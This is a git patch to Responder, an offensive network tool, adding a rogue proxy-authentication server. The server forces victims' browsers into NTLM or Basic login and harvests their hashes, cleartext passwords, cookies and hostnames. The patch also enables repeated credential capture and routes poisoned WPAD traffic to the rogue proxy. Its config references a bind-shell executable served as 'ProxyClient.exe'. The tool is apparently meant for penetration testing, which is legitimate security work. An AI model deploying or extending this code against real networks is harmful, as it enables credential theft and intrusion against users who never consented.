From 82fe64dfd988321cbc1a8cb3d8f01caa38f4193e Mon Sep 17 00:00:00 2001 From: lgandx Date: Sat, 10 Sep 2016 21:25:55 -0300 Subject: [PATCH] Added proxy auth server + various fixes and improvements --- README.md | 10 ++-- Responder.conf | 4 +- Responder.py | 11 ++++- packets.py | 49 +++++++++++++++++++ servers/HTTP.py | 18 ++++--- servers/HTTP_Proxy.py | 1 + servers/Proxy_Auth.py | 108 ++++++++++++++++++++++++++++++++++++++++++ settings.py | 29 ++++++------ utils.py | 22 ++++----- 9 files changed, 213 insertions(+), 39 deletions(-) create mode 100644 servers/Proxy_Auth.py diff --git a/README.md b/README.md index def902b..24b9fef 100644 --- a/README.md +++ b/README.md @@ -89,7 +89,7 @@ Additionally, all captured hashed are logged into an SQLite database which you c ## Considerations ## -- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587 and Multicast UDP 5553. +- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553. - If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports. @@ -121,7 +121,7 @@ Running the tool: Typical Usage Example: - ./Responder.py -I eth0 -rFv + ./Responder.py -I eth0 -rPv Options: @@ -148,8 +148,12 @@ Options: -F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: Off + -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) + authentication for the proxy. WPAD doesn't need to + be ON. This option is highly effective when combined + with -r. Default: Off --lm Force LM hashing downgrade for Windows XP/2003 and - earlier. Default: False + earlier. Default: Off -v, --verbose Increase verbosity. diff --git a/Responder.conf b/Responder.conf index 7c6991a..6263e6b 100644 --- a/Responder.conf +++ b/Responder.conf @@ -55,7 +55,7 @@ AutoIgnoreAfterSuccess = Off ; If set to On, we will send ACCOUNT_DISABLED when the client tries ; to authenticate for the first time to try to get different credentials. ; This may break file serving and is useful only for hash capture -CaptureMultipleCredentials = Off +CaptureMultipleCredentials = On [HTTP Server] @@ -79,7 +79,7 @@ ExeFilename = files/BindShell.exe ExeDownloadName = ProxyClient.exe ; Custom WPAD Script -WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';} +WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY RespProxySrv:3128; PROXY RespProxySrv:3141; DIRECT';} ; HTML answer to inject in HTTP responses (before tag). ; Set to an empty string to disable. diff --git a/Responder.py b/Responder.py index c27b41d..4bb0546 100755 --- a/Responder.py +++ b/Responder.py @@ -34,6 +34,9 @@ parser.add_option('-f','--fingerprint', action="store_true", help="This optio parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False) parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None) parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False) + +parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False", dest="ProxyAuth_On_Off", default=False) + parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False) parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose") options, args = parser.parse_args() @@ -187,8 +190,8 @@ def main(): threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) # Load Browser Listener - from servers.Browser import Browser - threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,))) + #from servers.Browser import Browser + #threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,))) if settings.Config.HTTP_On_Off: from servers.HTTP import HTTP @@ -202,6 +205,10 @@ def main(): from servers.HTTP_Proxy import HTTP_Proxy threads.append(Thread(target=serve_thread_tcp, args=('', 3141, HTTP_Proxy,))) + if settings.Config.ProxyAuth_On_Off: + from servers.Proxy_Auth import Proxy_Auth + threads.append(Thread(target=serve_thread_tcp, args=('', 3128, Proxy_Auth,))) + if settings.Config.SMB_On_Off: if settings.Config.LM_On_Off: from servers.SMB import SMB1LM diff --git a/packets.py b/packets.py index 3f0f5a3..560a3b0 100644 --- a/packets.py +++ b/packets.py @@ -311,6 +311,54 @@ class ServeHtmlFile(Packet): def calculate(self): self.fields["ActualLen"] = len(str(self.fields["Payload"])) +##### WPAD Auth Packets ##### +class WPAD_Auth_407_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 407 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"), + ("Connection", "Proxy-Connection: close\r\n"), + ("Cache-Control", "Cache-Control: no-cache\r\n"), + ("Pragma", "Pragma: no-cache\r\n"), + ("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + + +class WPAD_NTLM_Challenge_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 407 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWWAuth", "Proxy-Authenticate: NTLM "), + ("Payload", ""), + ("Payload-CRLF", "\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + + def calculate(self,payload): + self.fields["Payload"] = b64encode(payload) + +class WPAD_Basic_407_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 407 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWW-Auth", "Proxy-Authenticate: Basic realm=\"Authentication Required\"\r\n"), + ("Connection", "Proxy-Connection: close\r\n"), + ("Cache-Control", "Cache-Control: no-cache\r\n"), + ("Pragma", "Pragma: no-cache\r\n"), + ("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + ##### FTP Packets ##### class FTPPacket(Packet): fields = OrderedDict([ @@ -1534,3 +1582,4 @@ class SMB2Session2Data(Packet): ("SecBlobOffSet", "\x00\x00\x00\x00"), ]) + diff --git a/servers/HTTP.py b/servers/HTTP.py index cb59133..f1db943 100644 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -25,7 +25,7 @@ from packets import WPADScript, ServeExeFile, ServeHtmlFile # Parse NTLMv1/v2 hash. -def ParseHTTPHash(data, client): +def ParseHTTPHash(data, client, module): LMhashLen = struct.unpack(' 2: print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()) @@ -175,10 +174,11 @@ def PacketSequence(data, client): if Packet_NTLM == "\x03": NTLM_Auth = b64decode(''.join(NTLM_Auth)) - ParseHTTPHash(NTLM_Auth, client) + ParseHTTPHash(NTLM_Auth, client, "HTTP") if settings.Config.Force_WPAD_Auth and WPAD_Custom: print text("[HTTP] WPAD (auth) file sent to %s" % client) + return WPAD_Custom else: Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) @@ -204,6 +204,7 @@ def PacketSequence(data, client): if settings.Config.Force_WPAD_Auth and WPAD_Custom: if settings.Config.Verbose: print text("[HTTP] WPAD (auth) file sent to %s" % client) + return WPAD_Custom else: Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) @@ -214,10 +215,12 @@ def PacketSequence(data, client): Response = IIS_Basic_401_Ans() if settings.Config.Verbose: print text("[HTTP] Sending BASIC authentication request to %s" % client) + else: Response = IIS_Auth_401_Ans() if settings.Config.Verbose: print text("[HTTP] Sending NTLM authentication request to %s" % client) + return str(Response) # HTTP Server class @@ -232,6 +235,7 @@ class HTTP(BaseRequestHandler): self.request.send(Buffer) if settings.Config.Verbose: print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) + else: Buffer = PacketSequence(data,self.client_address[0]) self.request.send(Buffer) diff --git a/servers/HTTP_Proxy.py b/servers/HTTP_Proxy.py index 912da76..71e6e75 100644 --- a/servers/HTTP_Proxy.py +++ b/servers/HTTP_Proxy.py @@ -344,3 +344,4 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): do_POST = do_GET do_PUT = do_GET do_DELETE=do_GET + diff --git a/servers/Proxy_Auth.py b/servers/Proxy_Auth.py new file mode 100644 index 0000000..cf6edc3 --- /dev/null +++ b/servers/Proxy_Auth.py @@ -0,0 +1,108 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import SocketServer +from HTTP import ParseHTTPHash +from packets import * +from utils import * + +def GrabCookie(data): + Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data) + + if Cookie: + Cookie = Cookie.group(0).replace('Cookie: ', '') + if len(Cookie) > 1: + if settings.Config.Verbose: + print text("[Proxy-Auth] %s" % color("Cookie : "+Cookie, 2)) + + return Cookie + return False + +def GrabHost(data): + Host = re.search(r'(Host:*.\=*)[^\r\n]*', data) + + if Host: + Host = Host.group(0).replace('Host: ', '') + if settings.Config.Verbose: + print text("[Proxy-Auth] %s" % color("Host : "+Host, 2)) + + return Host + return False + +def PacketSequence(data, client): + NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) + Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data) + if NTLM_Auth: + Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] + if Packet_NTLM == "\x01": + if settings.Config.Verbose: + print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client) + + Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge) + Buffer.calculate() + Buffer_Ans = WPAD_NTLM_Challenge_Ans() + Buffer_Ans.calculate(str(Buffer)) + return str(Buffer_Ans) + if Packet_NTLM == "\x03": + NTLM_Auth = b64decode(''.join(NTLM_Auth)) + ParseHTTPHash(NTLM_Auth, client, "Proxy-Auth") + GrabCookie(data) + GrabHost(data) + return False + else: + return False + + elif Basic_Auth: + GrabCookie(data) + GrabHost(data) + ClearText_Auth = b64decode(''.join(Basic_Auth)) + SaveToDb({ + 'module': 'Proxy-Auth', + 'type': 'Basic', + 'client': client, + 'user': ClearText_Auth.split(':')[0], + 'cleartext': ClearText_Auth.split(':')[1], + }) + + return False + else: + if settings.Config.Basic: + Response = WPAD_Basic_407_Ans() + if settings.Config.Verbose: + print text("[Proxy-Auth] Sending BASIC authentication request to %s" % client) + + else: + Response = WPAD_Auth_407_Ans() + + return str(Response) + +class Proxy_Auth(SocketServer.BaseRequestHandler): + + def server_bind(self): + self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1) + self.socket.bind(self.server_address) + self.socket.setblocking(0) + self.socket.setdefaulttimeout(1) + + def handle(self): + try: + for x in range(2): + data = self.request.recv(4096) + self.request.send(PacketSequence(data, self.client_address[0])) + + except: + pass + diff --git a/settings.py b/settings.py index f670637..aba4957 100644 --- a/settings.py +++ b/settings.py @@ -20,7 +20,7 @@ import subprocess from utils import * -__version__ = 'Responder 2.3.1' +__version__ = 'Responder 2.3.2' class Settings: @@ -152,19 +152,20 @@ class Settings: self.AutoIgnoreList = [] # CLI options - self.LM_On_Off = options.LM_On_Off - self.WPAD_On_Off = options.WPAD_On_Off - self.Wredirect = options.Wredirect - self.NBTNSDomain = options.NBTNSDomain - self.Basic = options.Basic - self.Finger_On_Off = options.Finger - self.Interface = options.Interface - self.OURIP = options.OURIP - self.Force_WPAD_Auth = options.Force_WPAD_Auth - self.Upstream_Proxy = options.Upstream_Proxy - self.AnalyzeMode = options.Analyze - self.Verbose = options.Verbose - self.CommandLine = str(sys.argv) + self.LM_On_Off = options.LM_On_Off + self.WPAD_On_Off = options.WPAD_On_Off + self.Wredirect = options.Wredirect + self.NBTNSDomain = options.NBTNSDomain + self.Basic = options.Basic + self.Finger_On_Off = options.Finger + self.Interface = options.Interface + self.OURIP = options.OURIP + self.Force_WPAD_Auth = options.Force_WPAD_Auth + self.Upstream_Proxy = options.Upstream_Proxy + self.AnalyzeMode = options.Analyze + self.Verbose = options.Verbose + self.ProxyAuth_On_Off = options.ProxyAuth_On_Off + self.CommandLine = str(sys.argv) if self.HtmlToInject is None: self.HtmlToInject = '' diff --git a/utils.py b/utils.py index e124a16..f2a1422 100644 --- a/utils.py +++ b/utils.py @@ -43,13 +43,12 @@ def color(txt, code = 1, modifier = 0): return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) def text(txt): + stripcolors = re.sub(r'\x1b\[([0-9,A-Z]{1,2}(;[0-9]{1,2})?(;[0-9]{3})?)?[m|K]?', '', txt) + logging.info(stripcolors) if os.name == 'nt': return txt return '\r' + re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt) -def textlogging(txt): - logging.info(txt) - def IsOnTheSameSubnet(ip, net): net += '/24' ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) @@ -58,7 +57,6 @@ def IsOnTheSameSubnet(ip, net): mask = (0xffffffff << (32 - int(bits))) & 0xffffffff return (ipaddr & mask) == (netaddr & mask) - def RespondToThisIP(ClientIp): if ClientIp.startswith('127.0.0.'): @@ -168,30 +166,31 @@ def SaveToDb(result): if not count or settings.Config.Verbose: # Print output if len(result['client']): print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))) - textlogging("[%s] %s Client : %s" % (result['module'], result['type'], result['client'])) + if len(result['hostname']): print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3))) - textlogging("[%s] %s Hostname : %s" % (result['module'], result['type'], result['hostname'])) + if len(result['user']): print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3))) - textlogging("[%s] %s Username : %s" % (result['module'], result['type'], result['user'])) + # Bu order of priority, print cleartext, fullhash, or hash if len(result['cleartext']): print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3))) - textlogging("[%s] %s Password : %s" % (result['module'], result['type'], result['cleartext'])) + elif len(result['fullhash']): print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3))) - textlogging("[%s] %s Hash : %s" % (result['module'], result['type'], result['fullhash'])) + elif len(result['hash']): print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3))) - textlogging("[%s] %s Hash : %s" % (result['module'], result['type'], result['hash'])) + # Appending auto-ignore list if required # Except if this is a machine account's hash if settings.Config.AutoIgnore and not result['user'].endswith('$'): settings.Config.AutoIgnoreList.append(result['client']) print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1) else: - print color('[*]', 3, 1), 'Skipping previously captured hash for %s' % result['user'] + print color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1) + text('[*] Skipping previously captured hash for %s' % result['user']) cursor.execute("UPDATE responder SET timestamp=datetime('now') WHERE user=? AND client=?", (result['user'], result['client'])) cursor.commit() cursor.close() @@ -266,6 +265,7 @@ def StartupMessage(): print ' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled) print ' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled) print ' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled) + print ' %-27s' % "Auth proxy" + (enabled if settings.Config.ProxyAuth_On_Off else disabled) print ' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled) print ' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled) print ' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled)